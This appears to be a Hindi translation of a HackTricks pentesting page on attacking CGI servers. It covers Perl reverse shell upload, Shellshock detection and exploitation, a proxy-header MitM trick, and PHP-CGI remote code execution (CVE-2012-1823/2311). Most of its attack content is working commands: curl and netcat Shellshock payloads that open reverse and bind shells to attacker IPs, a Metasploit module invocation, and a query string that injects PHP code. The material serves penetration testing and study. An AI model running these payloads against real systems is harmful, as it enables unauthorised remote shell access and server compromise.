11 KiB
शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord समूह में शामिल हों या telegram समूह में या Twitter पर 🐦 @carlospolopm को फॉलो करें.
- HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
जानकारी
CGI स्क्रिप्ट्स पर्ल स्क्रिप्ट्स होती हैं, इसलिए, यदि आपने एक सर्वर को समझौता किया है जो .cgi स्क्रिप्ट्स को निष्पादित कर सकता है, तो आप पर्ल रिवर्स शेल अपलोड कर सकते हैं `/usr/share/webshells/perl/perl-reverse-shell.pl`
, एक्सटेंशन बदलें .pl से .cgi में, निष्पादन अनुमतियां दें `chmod +x`
और वेब ब्राउज़र से रिवर्स शेल तक पहुँचें उसे निष्पादित करने के लिए।
CGI दोषों की जांच के लिए nikto -C all
और सभी प्लगइन्स
का उपयोग करना सुझावित है।
ShellShock
Bash का उपयोग उन आदेशों को चलाने के लिए भी किया जा सकता है जो उसे एप्लिकेशन द्वारा भेजे जाते हैं और यही विशेषता वह है जिसे दोष प्रभावित करता है। एक प्रकार का आदेश जो Bash को भेजा जा सकता है वह पर्यावरण चर को सेट करने की अनुमति देता है। पर्यावरण चर गतिशील, नामित मूल्य होते हैं जो कंप्यूटर पर प्रक्रियाओं को चलाने के तरीके को प्रभावित करते हैं। दोष इस तथ्य में निहित है कि एक हमलावर पर्यावरण चर के साथ दुर्भावनापूर्ण कोड जोड़ सकता है, जो चर प्राप्त होने पर चलेगा।
इस दोष का शोषण करते समय पृष्ठ में एक त्रुटि फेंक सकता है।
आप इस दोष को पुराने Apache संस्करण का उपयोग करते हुए और cgi_mod cgi फ़ोल्डर के साथ
या nikto का उपयोग करके पा सकते हैं।
परीक्षण
अधिकांश परीक्षण किसी चीज़ को इको करने और उम्मीद करने पर आधारित हैं कि वह स्ट्रिंग वेब प्रतिक्रिया में वापस आएगी। यदि आपको लगता है कि कोई पृष्ठ संवेदनशील हो सकता है, तो सभी cgi पृष्ठों की खोज करें और उनका परीक्षण करें।
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (परावर्तित, अंधा और बाहरी-संबंध)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
एक्सप्लॉइट
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
प्रॉक्सी (MitM से वेब सर्वर अनुरोधों के लिए)
CGI प्रत्येक हेडर के लिए एक पर्यावरण चर बनाता है जो http अनुरोध में होता है। उदाहरण के लिए: "host:web.com" को "HTTP_HOST"="web.com" के रूप में बनाया जाता है।
HTTP_PROXY चर का उपयोग वेब सर्वर द्वारा किया जा सकता है। हेडर में "Proxy: <IP_attacker>:<PORT>" भेजने का प्रयास करें और यदि सर्वर सत्र के दौरान कोई अनुरोध करता है। आप सर्वर द्वारा किए गए प्रत्येक अनुरोध को कैप्चर कर पाएंगे।
पुराना PHP + CGI = RCE CVE-2012-1823, CVE-2012-2311
मूल रूप से यदि cgi सक्रिय है और php "पुराना" है <5.3.12 / < 5.4.2
तो आप कोड निष्पादित कर सकते हैं।
इस कमजोरी का लाभ उठाने के लिए आपको वेब सर्वर की किसी PHP फ़ाइल तक पहुँचना होगा बिना पैरामीटर भेजे (विशेष रूप से "=" चरित्र के बिना)।
फिर, इस कमजोरी का परीक्षण करने के लिए, आप /index.php?-s
ध्यान दें `-s`
तक पहुँच सकते हैं और एप्लिकेशन का सोर्स कोड प्रतिक्रिया में दिखाई देगा।
फिर, RCE प्राप्त करने के लिए आप यह विशेष क्वेरी भेज सकते हैं: /?-d allow_url_include=1 -d auto_prepend_file=php://input
और PHP कोड जिसे अनुरोध के शरीर में निष्पादित किया जाना है।
उदाहरण:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
इस वल्न के बारे में और अधिक जानकारी और संभावित एक्सप्लॉइट्स: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup उदाहरण.
AWS हैकिंग सीखें शुरुआत से लेकर एक्सपर्ट तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter पर 🐦 @carlospolopm को फॉलो करें.
- अपनी हैकिंग ट्रिक्स साझा करें PRs सबमिट करके HackTricks और HackTricks Cloud github repos में.